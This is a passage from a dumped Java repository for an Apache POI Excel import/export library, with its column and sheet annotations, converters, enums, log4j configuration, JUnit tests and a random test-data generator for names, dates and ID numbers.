    "content": "package com.sanri.excel.poi.annotation;\n\nimport com.sanri.excel.poi.converter.ExcelConverter;\nimport com.sanri.excel.poi.converter.NULLConverter;\nimport com.sanri.excel.poi.enums.CellType;\n\nimport java.lang.annotation.*;\n\n/**\n * \n * 作者:sanri <br/>\n * 时间:2017-8-12上午11:45:39<br/>\n * 功能:导入导出列配置,注解加到属性上说明对于导入和导出的配置是一样的,\n * 加到 set 上只针对导入,get 上只针对导出,get,set 上的配置会覆盖属性上的配置 <br/>\n */\n@Target(value={ElementType.METHOD,ElementType.FIELD})\n@Retention(value=RetentionPolicy.RUNTIME)\n@Documented\npublic @interface ExcelColumn {\n\t/**\n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12上午11:47:56<br/>\n\t * 功能:导出,导入的单元格标题 ,必填<br/>\n\t * @return\n\t */\n\tString value() ;\n\t/**\n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12上午11:49:29<br/>\n\t * 功能:导入,导出时的索引配置,从 0 开始,必须提供 <br/>\n\t * @return\n\t */\n\tint order() default -1;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午12:23:19<br/>\n\t * 功能: 列的宽度配置,如果这里有配置,则使用这里的配置,否则使用自动宽度(如果配置为 true 的话,为 false 不设置)<br/>\n\t * 注:使用 excel 的宽度设置,一个中文字对应 2 * 256 长度单位\n\t * @return\n\t */\n\tint width() default -1;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-9-19下午4:46:29<br/>\n\t * 功能:使用字符宽度,一个中文字填写 1  <br/>\n\t * @return\n\t */\n\tint charWidth() default -1;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-9-19下午4:47:40<br/>\n\t * 功能:使用像素宽度, 1 像素填写 1 <br/>\n\t * @return\n\t */\n\tint pxWidth() default -1;\n\t\n\t/**\n\t * \n\t * 功能:由于自动宽度对中文支持不太好,所以这里加个中文的自动宽度支持,这个只在自动宽度设置为 true 时生效<br/>\n\t * 创建时间:2017-8-13上午8:35:54<br/>\n\t * 作者：sanri<br/>\n\t * @return<br/>\n\t */\n\tboolean chineseWidth() default false;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午12:26:47<br/>\n\t * 功能: 当前列是否隐藏 默认 false<br/>\n\t * @return\n\t */\n\tboolean hidden() default false;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午1:46:24<br/>\n\t * 功能: 时间格式化,默认 yyyy-MM-dd <br/>\n\t * @return\n\t */\n\tString pattern() default \"yyyy-MM-dd\";\n\n\t/**\n\t * 如果是浮点型，保留几位小数 ，默认不处理\n\t * 如果需要设置精度，修改此值\n\t * @return\n\t */\n\tint precision() default -1;\n\n\t/**\n\t * 单元格类型,默认 String\n\t * @return\n\t */\n\tCellType cellType() default CellType.CELL_TYPE_STRING;\n\n\t/**\n\t * 是否需要去除两边空格\n\t * @return\n\t */\n\tboolean trim() default true;\n\n\t/**\n\t * 转换器设置,写 Excel 的时候，将当前列的值转换为目标值\n\t * 注意：一个 Writer 只会有一个转换器实例，不能保存状态信息\n\t * @return\n\t */\n\tClass<? extends ExcelConverter> converter() default NULLConverter.class;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/annotation/ExcelExport.java",
    "content": "package com.sanri.excel.poi.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\nimport com.sanri.excel.poi.enums.ExcelVersion;\n\n/**\n * \n * 作者:sanri <br/>\n * 时间:2017-8-12上午11:44:36<br/>\n * 功能:excel 导出标记,支持 excel 导出 <br/>\n */\n@Target(value=ElementType.TYPE)\n@Retention(value=RetentionPolicy.RUNTIME)\n@Documented\npublic @interface ExcelExport {\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12上午11:57:21<br/>\n\t * 功能:导出版本,默认导出 2007 版本 <br/>\n\t * @return\n\t */\n\tExcelVersion version() default ExcelVersion.EXCEL2007;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午6:43:35<br/>\n\t * 功能:最顶部的标题行高度,需要设置 title 才能使其生效 <br/>\n\t * @return\n\t */\n\tshort titleRowHeight() default 40;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午12:16:06<br/>\n\t * 功能: 头标题行高度,以像素为单位<br/>\n\t * @return\n\t */\n\tshort headRowHeight() default 30;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午12:16:18<br/>\n\t * 功能:内容行高度,以像素为单位 <br/>\n\t * @return\n\t */\n\tshort bodyRowHeight() default 25;\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午12:18:30<br/>\n\t * 功能:是否自动宽度,默认为 true <br/>\n\t * @return\n\t */\n\tboolean autoWidth() default true;\n\t\n\t/**\n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午1:32:57<br/>\n\t * 功能:一个sheet 页的最大记录数,默认是不限制的,如果是 2003 版本,限制为 60000 行 <br/>\n\t * @return\n\t */\n\tint sheetMaxRow() default -1;\n\n\t/**\n\t * 使用 new SXSSFWorkbook(rowAccessWindowSize) 快速导出 Excel\n\t * @return\n\t */\n\tboolean fastModel() default true;\n\n\t/**\n\t * rowAccessWindowSize 数量，根据内存大小来确定\n\t * @return\n\t */\n\tint rowAccessWindowSize() default 1000;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/annotation/ExcelImport.java",
    "content": "package com.sanri.excel.poi.annotation;\n\nimport com.sanri.excel.poi.enums.ExcelVersion;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * \n * 作者:sanri <br/>\n * 时间:2017-8-12上午11:45:14<br/>\n * 功能:excel 导入标记,支持 excel 导入 <br/>\n */\n@Target(value=ElementType.TYPE)\n@Retention(value=RetentionPolicy.RUNTIME)\n@Documented\npublic @interface ExcelImport {\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12上午11:47:03<br/>\n\t * 功能:导入版本支持,默认支持 2007 和 2003  <br/>\n\t * @return\n\t */\n\tExcelVersion[] support() default {ExcelVersion.EXCEL2003,ExcelVersion.EXCEL2007};\n\t\n\t/**\n\t * \n\t * 功能:指定哪一行才是真正的数据开始的地方 从 0 开始<br/>\n\t * 创建时间:2017-8-12下午10:19:15<br/>\n\t * 作者：sanri<br/>\n\t * @return<br/>\n\t */\n\tint startRow() default 1;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/converter/DefaultBooleanStringConverter.java",
    "content": "package com.sanri.excel.poi.converter;\n\npublic class DefaultBooleanStringConverter implements ExcelConverter<Boolean,String> {\n    @Override\n    public String convert(Boolean source) {\n        return String.valueOf(source);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/converter/ExcelConverter.java",
    "content": "package com.sanri.excel.poi.converter;\n\n/**\n * 类型转换器只针对于写 Excel 模式\n * @param <S>\n * @param <T>\n */\npublic interface ExcelConverter<S,T> {\n    T convert(S source);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/converter/NULLConverter.java",
    "content": "package com.sanri.excel.poi.converter;\n\n/**\n * 不做任何转换\n */\npublic class NULLConverter implements ExcelConverter {\n    @Override\n    public Object convert(Object source) {\n        return source;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/enums/CellType.java",
    "content": "package com.sanri.excel.poi.enums;\n\n/**\n * 单元格类型,用于导出的时候设置单元格类型\n */\npublic enum  CellType {\n    CELL_TYPE_NUMERIC(0),CELL_TYPE_STRING(1),\n    CELL_TYPE_BLANK(3),CELL_TYPE_BOOLEAN(4),;\n\n    private int value;\n\n    CellType(int value){\n        this.value = value;\n    }\n\n    public int getValue() {\n        return value;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/enums/ExcelVersion.java",
    "content": "package com.sanri.excel.poi.enums;\n\n/**\n * \n * 作者:sanri <br/>\n * 时间:2017-8-12下午1:37:27<br/>\n * 功能:excel 的版本,支持 2007 和 2003 版本 <br/>\n */\npublic enum ExcelVersion {\n\tEXCEL2007(2007),EXCEL2003(2003);\n\t\n\tprivate int version;\n\tExcelVersion(int version){\n\t\tthis.version = version;\n\t}\n\t\n\tpublic int getVersion(int version) {\n\t\treturn this.version;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/handler/CollectErrorRowHandler.java",
    "content": "package com.sanri.excel.poi.handler;\n\nimport com.sanri.excel.poi.ColumnConfig;\nimport org.apache.poi.ss.usermodel.Cell;\n\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 默认错误行处理器，收集所有错误行\n */\npublic class CollectErrorRowHandler implements ErrorRowHandler {\n    private List<CellData> errorDatas = new ArrayList<>();\n\n    @Override\n    public boolean handlerRow(Cell cell, Method writeMethod, ColumnConfig columnConfig) {\n        CellData cellData = new CellData(cell.getRowIndex(), cell.getColumnIndex(), cell.getStringCellValue(), columnConfig);\n        errorDatas.add(cellData);\n        return true;\n    }\n\n    public static class CellData{\n        private int rowIndex;\n        private int cellIndex;\n        private String cellValue;\n        private ColumnConfig columnConfig;\n\n        public CellData() {\n        }\n\n        public CellData(int rowIndex, int cellIndex, String cellValue, ColumnConfig columnConfig) {\n            this.rowIndex = rowIndex;\n            this.cellIndex = cellIndex;\n            this.cellValue = cellValue;\n            this.columnConfig = columnConfig;\n        }\n    }\n\n    public List<CellData> getErrorDatas() {\n        return errorDatas;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/handler/ErrorRowHandler.java",
    "content": "package com.sanri.excel.poi.handler;\n\nimport com.sanri.excel.poi.ColumnConfig;\nimport org.apache.poi.ss.usermodel.Cell;\n\nimport java.lang.reflect.Method;\n\npublic interface ErrorRowHandler<T> {\n    /**\n     * 处理错误行数据，返回是否需要继续处理\n     * true: 继续导入 ，false: 停止处理\n     * @param cell\n     * @param writeMethod\n     * @param columnConfig\n     * @return\n     */\n    boolean handlerRow(Cell cell, Method writeMethod, ColumnConfig columnConfig);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/resources/log4j.properties",
    "content": "# Output pattern : date [thread] priority category - message\nrootdir=e:/logs\nmodule=sanritools\nlog4j.rootLogger=info,Console,errorAppender\n\nlog4j.logger.org.apache.kafka.common.config=warning,Console,errorAppender\nlog4j.additivity.org.apache.kafka.common.config=false\n\n#\n## \\u81EA\\u5DF1\\u7CFB\\u7EDF\\u7684\\u9700\\u8981\\u8BE6\\u7EC6\\u6253\\u5370\nlog4j.logger.com.sanri=debug,Console,debugAppender,errorAppender,RollingFile\nlog4j.additivity.com.sanri=false\nlog4j.logger.sanri=debug,Console,debugAppender,errorAppender,RollingFile\nlog4j.additivity.sanri=false\nlog4j.logger.learn=debug,Console,debugAppender,errorAppender,RollingFile\nlog4j.additivity.learn=false\n\n## \\u4FE1\\u606F\\u8FFD\\u52A0\\u5668\nlog4j.appender.debugAppender=org.apache.log4j.RollingFileAppender\nlog4j.appender.debugAppender.File=${rootdir}/sanri-${module}_debug.log\nlog4j.appender.debugAppender.append=true\nlog4j.appender.debugAppender.threshold=debug\nlog4j.appender.debugAppender.encoding=UTF-8\nlog4j.appender.debugAppender.MaxFileSize=64MB\nlog4j.appender.debugAppender.MaxBackupIndex=10\nlog4j.appender.debugAppender.layout=org.apache.log4j.PatternLayout\nlog4j.appender.debugAppender.layout.ConversionPattern=%-5p %d{yyyyMMdd HH:mm:ss} [%c:%L] - %n     [LOG] %m%n\n\n## \\u5F02\\u5E38\\u8FFD\\u52A0\\u5668\nlog4j.appender.errorAppender=org.apache.log4j.RollingFileAppender\nlog4j.appender.errorAppender.File=${rootdir}/sanri-${module}_error.log\nlog4j.appender.errorAppender.append=true\nlog4j.appender.errorAppender.threshold=error\nlog4j.appender.errorAppender.encoding=UTF-8\nlog4j.appender.errorAppender.MaxFileSize=64MB\nlog4j.appender.errorAppender.MaxBackupIndex=10\nlog4j.appender.errorAppender.layout=org.apache.log4j.PatternLayout\n#log4j.appender.errorAppender.layout.ConversionPattern=%-5p %d{yyyyMMdd HH\\:mm\\:ss} [%c\\:%L] - %n\nlog4j.appender.errorAppender.layout.ConversionPattern=%d [%t] %-5p [%C->%M(%L)] - %m%n\n#\n##Console\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d [%t] %-5p [%C->%M(%L)] - %m%n\n\n#RollingFile\nlog4j.appender.RollingFile=org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.RollingFile.File=${rootdir}/sanri-${module}.log\nlog4j.appender.RollingFile.layout=org.apache.log4j.PatternLayout\n#log4j.appender.RollingFile.layout.ConversionPattern=[%d{yyyy-MM-dd HH:mm:ss}] %-5p [%t] - %m%n\nlog4j.appender.RollingFile.layout.ConversionPattern=%d [%t] %-5p [%C->%M(%L)] - %m%n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/java/test/ExcelTest.java",
    "content": "package test;\n\nimport com.sanri.excel.poi.ExcelExportWriter;\nimport com.sanri.excel.poi.ExcelImportUtil;\nimport com.sanri.excel.poi.handler.CollectErrorRowHandler;\nimport com.sanri.excel.poi.handler.ErrorRowHandler;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.RandomUtils;\nimport org.apache.commons.lang3.builder.ToStringBuilder;\nimport org.apache.commons.lang3.builder.ToStringStyle;\nimport org.apache.commons.lang3.time.StopWatch;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.junit.Test;\nimport vo.ConverterBean;\nimport vo.ExtendSimple;\nimport vo.Simple;\n\nimport java.io.*;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\npublic class ExcelTest {\n    /**\n     * 简单多类型 Excel 生成\n     */\n    @Test\n    public void testSimpleBean() throws IOException {\n        ExcelExportWriter excelExportWriter = new ExcelExportWriter(Simple.class);\n\n        List<Simple> simpleList = simpleBeanDatas(10);\n        excelExportWriter.export(simpleList);\n        excelExportWriter.writeTo(new FileOutputStream(\"d:/test/\"+System.currentTimeMillis()+\".xlsx\"));\n    }\n\n    /**\n     * 10w 数据导出大概需要 5 秒左右\n     * @throws IOException\n     */\n    @Test\n    public void test10wData() throws IOException {\n        List<Simple> simpleList = simpleBeanDatas(100000);\n\n        StopWatch stopWatch = new StopWatch();stopWatch.start();\n        ExcelExportWriter excelExportWriter = new ExcelExportWriter(Simple.class);\n        excelExportWriter.export(simpleList);\n        excelExportWriter.writeTo(new FileOutputStream(\"d:/test/\"+System.currentTimeMillis()+\".xlsx\"));\n        stopWatch.stop();\n        System.out.println(\"10 万数据导出用时:\"+stopWatch.getTime()+\" ms\");\n    }\n\n    /**\n     * 测试继承 bean Excel 生成\n     */\n    @Test\n    public void testExtendBean() throws IOException {\n        ExcelExportWriter excelExportWriter = new ExcelExportWriter(ExtendSimple.class);\n\n        List<Simple> simpleList = simpleBeanDatas(10);\n        List<ExtendSimple> extendSimples = new ArrayList<ExtendSimple>();\n        for (Simple simple : simpleList) {\n            ExtendSimple extendSimple = new ExtendSimple(simple);\n            extendSimple.setIdcard(RandomUtil.idcard());\n            extendSimples.add(extendSimple);\n        }\n        excelExportWriter.export(extendSimples);\n        excelExportWriter.writeTo(new FileOutputStream(\"d:/test/\"+System.currentTimeMillis()+\".xlsx\"));\n    }\n\n    @Test\n    public void testImportExcel() throws IOException {\n        FileInputStream fileInputStream = FileUtils.openInputStream(new File(\"D:\\\\test/1567833427823.xlsx\"));\n        ErrorRowHandler collectErrorRowHandler = new CollectErrorRowHandler();\n        List<Simple> simples = ExcelImportUtil.importData(fileInputStream, Simple.class,collectErrorRowHandler);\n        for (Simple simple : simples) {\n            System.out.println(ToStringBuilder.reflectionToString(simple, ToStringStyle.SHORT_PREFIX_STYLE));\n        }\n    }\n\n    @Test\n    public void testImportExtendExcel() throws IOException {\n        FileInputStream fileInputStream = FileUtils.openInputStream(new File(\"D:\\\\test/1567833685699.xlsx\"));\n        CollectErrorRowHandler collectErrorRowHandler = new CollectErrorRowHandler();\n        List<ExtendSimple> simples = ExcelImportUtil.importData(fileInputStream, ExtendSimple.class,collectErrorRowHandler);\n        for (Simple simple : simples) {\n            System.out.println(ToStringBuilder.reflectionToString(simple, ToStringStyle.SHORT_PREFIX_STYLE));\n        }\n    }\n\n    /**\n     * 测试单列导入\n     * @throws IOException\n     */\n    @Test\n    public void testImportList() throws IOException {\n        FileInputStream fileInputStream = FileUtils.openInputStream(new File(\"D:\\\\test/1567833685699.xlsx\"));\n        List<String> strings = ExcelImportUtil.importListData(fileInputStream, String.class, 0, 1);\n        System.out.println(strings);\n    }\n\n    @Test\n    public void testImportMap() throws IOException {\n        FileInputStream fileInputStream = FileUtils.openInputStream(new File(\"D:\\\\test/1567833685699.xlsx\"));\n        Map<String, String> stringStringMap = ExcelImportUtil.importMapData(fileInputStream, String.class, 0, 8, 1);\n        System.out.println(stringStringMap);\n    }\n\n    @Test\n    public void testConvert() throws IOException {\n        List<ConverterBean> converterBeans = new ArrayList<>();\n        converterBeans.add(new ConverterBean(true,1));\n        converterBeans.add(new ConverterBean(false,2));\n\n        ExcelExportWriter<ConverterBean> converterBeanExcelExportWriter = new ExcelExportWriter<>(ConverterBean.class);\n        Workbook export = converterBeanExcelExportWriter.export(converterBeans);\n        converterBeanExcelExportWriter.writeTo(new FileOutputStream(\"d:/test/\"+System.currentTimeMillis()+\".xlsx\"));\n    }\n\n    private List<Simple> simpleBeanDatas(int count) {\n        List<Simple> simples = new ArrayList<Simple>();\n        for (int i = 0; i < count; i++) {\n            String username = RandomUtil.username();\n            int age = RandomUtils.nextInt(25,140);\n            int level = RandomUtils.nextInt(1,4);\n            Date birthday = RandomUtil.date();\n            long id = RandomUtils.nextLong();\n            boolean success = RandomUtils.nextBoolean();\n            double money = RandomUtils.nextDouble(1,10);\n            float comm = RandomUtils.nextFloat(1,10);\n\n            Simple simple = new Simple(age, level, username, birthday, id, success, money,comm);\n            simples.add(simple);\n        }\n\n        return simples;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/java/test/RandomUtil.java",
    "content": "package test;\n\nimport com.alibaba.fastjson.JSONObject;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.RandomUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\nimport org.apache.commons.lang3.time.DateUtils;\n\nimport java.io.InputStreamReader;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URI;\nimport java.nio.charset.Charset;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.*;\n\n/**\n * \n * 创建时间:2016-9-24下午5:33:29<br/>\n * 创建者:sanri<br/>\n * 功能:扩展自 org.apache.commons.lang,加入一些源数据 <br/>\n */\npublic class RandomUtil extends RandomStringUtils {\n\tpublic static final String FIRST_NAME=\"赵钱孙李周吴郑王冯陈褚卫蒋沈韩杨朱秦尤许何吕施张孔曹严华金魏陶姜戚谢邹喻柏水窦章云苏潘葛奚范彭郎鲁韦昌马苗凤花方俞任袁柳酆鲍史唐费廉岑薛雷贺倪汤滕殷罗毕郝邬安常乐于时傅皮卞齐康伍余元卜顾孟平黄和穆萧尹姚邵湛汪祁毛禹狄米贝明臧计伏成戴谈宋茅庞熊纪舒屈项祝董梁杜阮蓝闵席季麻强贾路娄危江童颜郭梅盛林刁钟徐邱骆高夏蔡田樊胡凌霍虞万支柯昝管卢莫经房裘缪干解应宗丁宣贲邓郁单杭洪包诸左石崔吉钮龚程嵇邢滑裴陆荣翁荀羊於惠甄麴家封芮羿储靳汲邴糜松井段富巫乌焦巴弓牧隗山谷车侯宓蓬全郗班仰秋仲伊宫宁仇栾暴甘钭厉戎祖武符刘景詹束龙叶幸司韶郜黎蓟薄印宿白怀蒲邰从鄂索咸籍赖卓蔺屠蒙池乔阴郁胥能苍双闻莘党翟谭贡劳逄姬申扶堵冉宰郦雍舄璩桑桂濮牛寿通边扈燕冀郏浦尚农温别庄晏柴瞿阎充慕连茹习宦艾鱼容向古易慎戈廖庾终暨居衡步都耿满弘匡国文寇广禄阙东殴殳沃利蔚越夔隆师巩厍聂晁勾敖融冷訾辛阚那简饶空曾毋沙乜养鞠须丰巢关蒯相查後荆红游竺权逯盖益桓公晋楚闫法汝鄢涂钦仉督岳帅缑亢况后有琴商牟佘佴伯赏墨哈谯笪年爱阳佟\";\n\tpublic static final String GIRL=\"秀娟英华慧巧美娜静淑惠珠翠雅芝玉萍红娥玲芬芳燕彩春菊兰凤洁梅琳素云莲真环雪荣爱妹霞香月莺媛艳瑞凡佳嘉琼勤珍贞莉桂娣叶璧璐娅琦晶妍茜秋珊莎锦黛青倩婷姣婉娴瑾颖露瑶怡婵雁蓓纨仪荷丹蓉眉君琴蕊薇菁梦岚苑婕馨瑗琰韵融园艺咏卿聪澜纯毓悦昭冰爽琬茗羽希宁欣飘育滢馥筠柔竹霭凝晓欢霄枫芸菲寒伊亚宜可姬舒影荔枝思丽\";  \n    public static final String BOY=\"伟刚勇毅俊峰强军平保东文辉力明永健鸿世广万志义兴良海山仁波宁贵福生龙元全国胜学祥才发武新利清飞彬富顺信子杰涛昌成康星光天达安岩中茂进林有坚和彪博诚先敬震振壮会思群豪心邦承乐绍功松善厚庆磊民友裕河哲江超浩亮政谦亨奇固之轮翰朗伯宏言若鸣朋斌梁栋维启克伦翔旭鹏泽晨辰士以建家致树炎德行时泰盛雄琛钧冠策腾楠榕风航弘正日\";\n\n\tpublic static JSONObject AREANO_MAP;\n\tpublic static JSONObject CITY_LIST;\n    public static final String[] EMAIL_SUFFIX=\"@gmail.com,@yahoo.com,@msn.com,@hotmail.com,@aol.com,@ask.com,@live.com,@qq.com,@0355.net,@163.com,@163.net,@263.net,@3721.net,@yeah.net,@googlemail.com,@126.com,@sina.com,@sohu.com,@yahoo.com.cn\".split(\",\");\n    public static final String[] PHONE_SEGMENT = \"133,149,153,173,177,180,181,189,199,130,131,132,145,155,156,166,171,175,176,185,186,166,135,136,137,138,139,147,150,151,152,157,158,159,172,178,182,183,184,187,188,198,170\".split(\",\");\n    public static String [] ADDRESS_LIST;\n    public static String [] JOBS;\n\tstatic{\n\t\tInputStreamReader reader = null;\n\t\tCharset charset = Charset.forName(\"utf-8\");\n\t\ttry {\n\t\t\tURI resource = RandomUtil.class.getResource(\"/\").toURI();\n\t\t\tURI addressURI = resource.resolve(new URI(\"data/address.string\"));\n\t\t\tURI citylistURI = resource.resolve(new URI(\"data/city.min.json\"));\n\t\t\tURI idcodeURI = resource.resolve(new URI(\"data/idcodearea.json\"));\n\t\t\tURI jobURI = resource.resolve(new URI(\"data/job\"));\n\n\t\t\tADDRESS_LIST = StringUtils.split(IOUtils.toString(addressURI,charset),',');\n\t\t\tCITY_LIST = JSONObject.parseObject(IOUtils.toString(citylistURI,charset));\n\t\t\tAREANO_MAP = JSONObject.parseObject(IOUtils.toString(idcodeURI,charset));\n\t\t\tJOBS = StringUtils.split(IOUtils.toString(jobURI,charset),',');\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tIOUtils.closeQuietly(reader);\n\t\t}\n\t}\n\n\t/**\n\t * 功能:生成 length 个中文 <br/>\n\t * 创建时间:2016-4-16上午11:24:40 \n\t * 作者：sanri \n\t * */\n\tpublic static String chinese(int length, String src) {\n\t\tString ret = \"\";\n\t\tif(!StringUtils.isBlank(src)){\n\t\t\treturn random(length, src.toCharArray());\n\t\t}\n\t\tfor (int i = 0; i < length; i++) {\n\t\t\tString str = null;\n\t\t\tint hightPos, lowPos; // 定义高低位\n\t\t\tRandom random = new Random();\n\t\t\thightPos = (176 + Math.abs(random.nextInt(39))); // 获取高位值\n\t\t\tlowPos = (161 + Math.abs(random.nextInt(93))); // 获取低位值\n\t\t\tbyte[] b = new byte[2];\n\t\t\tb[0] = (new Integer(hightPos).byteValue());\n\t\t\tb[1] = (new Integer(lowPos).byteValue());\n\t\t\ttry {\n\t\t\t\tstr = new String(b, \"GBk\"); // 转成中文\n\t\t\t} catch (UnsupportedEncodingException ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t}\n\t\t\tret += str;\n\t\t}\n\t\treturn ret;\n\t}\n\t\n\t/**\n\t * \n\t * 功能:随机生成用户名<br/>\n\t * 创建时间:2017-8-13上午8:04:32<br/>\n\t * 作者：sanri<br/>\n\t * @return<br/>\n\t */\n\tpublic static String username(){\n\t\tboolean sex = (randomNumber(100) % 2 == 0 );\n\t\tint secondNameLength = (int) randomNumber(2);\n\t\tString firstName = random(1, FIRST_NAME);\n\t\tString srcChars = sex ? BOY : GIRL;\n\t\tString secondName = random(secondNameLength,srcChars );\n\t\treturn firstName+secondName;\n\t}\n\t/**\n\t *\n\t * 功能:给定格式 ,开始时间,结束时间,生成一个在开始和结束内的日期<br/>\n\t * 创建时间:2016-4-16下午3:57:38<br/>\n\t * 作者：sanri<br/>\n\t * 入参说明:<br/>\n\t * 出参说明：字符串日期类型由 format 格式化<br/>\n\t * @throws ParseException<br/>\n\t */\n\tpublic static String date(String format,String begin,String end) throws ParseException{\n\t\tif(StringUtils.isBlank(format)){\n\t\t\tformat = \"yyyyMMdd\";\n\t\t}\n\t\tlong timstamp = timstamp(format, begin, end);\n\t\treturn DateFormatUtils.format(timstamp, format);\n\t}\n\t/**\n\t *\n\t * 功能:得到由开始时间和结束时间内的一个时间戳<br/>\n\t * 创建时间:2016-4-16下午4:07:31<br/>\n\t * 作者：sanri<br/>\n\t * 入参说明:<br/>\n\t * 出参说明：如果时间给的不对,则是当前时间<br/>\n\t * @param format\n\t * @param begin\n\t * @param end\n\t * @return\n\t * @throws ParseException<br/>\n\t */\n\tpublic static long timstamp(String format,String begin,String end) throws ParseException{\n\t\tif(StringUtils.isBlank(format)){\n\t\t\tformat = \"yyyyMMdd\";\n\t\t}\n\t\tDate now = new Date();\n\t\tif(StringUtils.isBlank(begin)){\n\t\t\tbegin = DateFormatUtils.format(now,format);\n\t\t}\n\t\tif(StringUtils.isBlank(end)){\n\t\t\tend = DateFormatUtils.format(now,format);\n\t\t}\n\t\tString [] formats = new String []{format};\n\t\tlong beginDateTime = DateUtils.parseDate(begin, formats).getTime();\n\t\tlong endDateTime = DateUtils.parseDate(end, formats).getTime();\n\t\tif(beginDateTime > endDateTime){\n\t\t\treturn now.getTime();\n\t\t}\n\t\tlong random = randomNumber(endDateTime - beginDateTime);\n\t\treturn random + beginDateTime;\n\t}\n\t/**\n\t *\n\t * 功能:生成限制数字内的数字 0 ~ limit 包括 limit<br/>\n\t * 创建时间:2016-9-24下午6:07:05<br/>\n\t * 作者：sanri<br/>\n\t */\n\tpublic static long randomNumber(long limit) {\n\t\treturn Math.round(Math.random() * limit);\n\t}\n\t/**\n\t *\n\t * 功能:生成身份证号<br/>\n\t * 创建时间:2016-4-16下午2:31:37<br/>\n\t * 作者：sanri<br/>\n\t * 入参说明:[area:区域号][yyyyMMdd:出生日期][sex:偶=女,奇=男]<br/>\n\t * 出参说明：330602 19770717 201 1<br/>\n\t *\n\t * @param area\n\t * @param yyyyMMdd\n\t * @param sno\n\t * @return<br/>\n\t */\n\tpublic static String idcard(String area, String yyyyMMdd, String sno) {\n\t\tString idCard17 = area + yyyyMMdd + sno;\n\t\tint[] validas = { 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2 };\n\t\tchar[] idCards = idCard17.toCharArray();\n\t\tint count = 0;\n\t\tfor (int i = 0; i < validas.length; i++) {\n\t\t\tcount += Integer.valueOf(String.valueOf(idCards[i])) * validas[i];\n\t\t}\n\t\tString lastNum = String.valueOf((12 - count % 11) % 11);\n\t\tlastNum = \"10\".equals(lastNum) ? \"x\":lastNum;\n\t\treturn idCard17 + lastNum;\n\t}\n\tpublic static String idcard(String area){\n\t\tString format = \"yyyyMMdd\";\n\t\tSimpleDateFormat sdf = new SimpleDateFormat(format);\n\t\ttry {\n\t\t\tString yyyyMMdd = date(format, \"19990101\", sdf.format(new Date()));\n\t\t\tString sno = randomNumeric(3);\n\t\t\treturn idcard(area, yyyyMMdd, sno);\n\t\t} catch (ParseException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn \"\";\n\t}\n\n    /**\n     * 随机生成身份证号\n\t * 暂时有问题 TODO 先使用临时方案\n\t * @return\n     */\n\tpublic static String idcard(){\n\t\tSet<String> areaNos = AREANO_MAP.keySet();\n\t\tList<String> areaList = 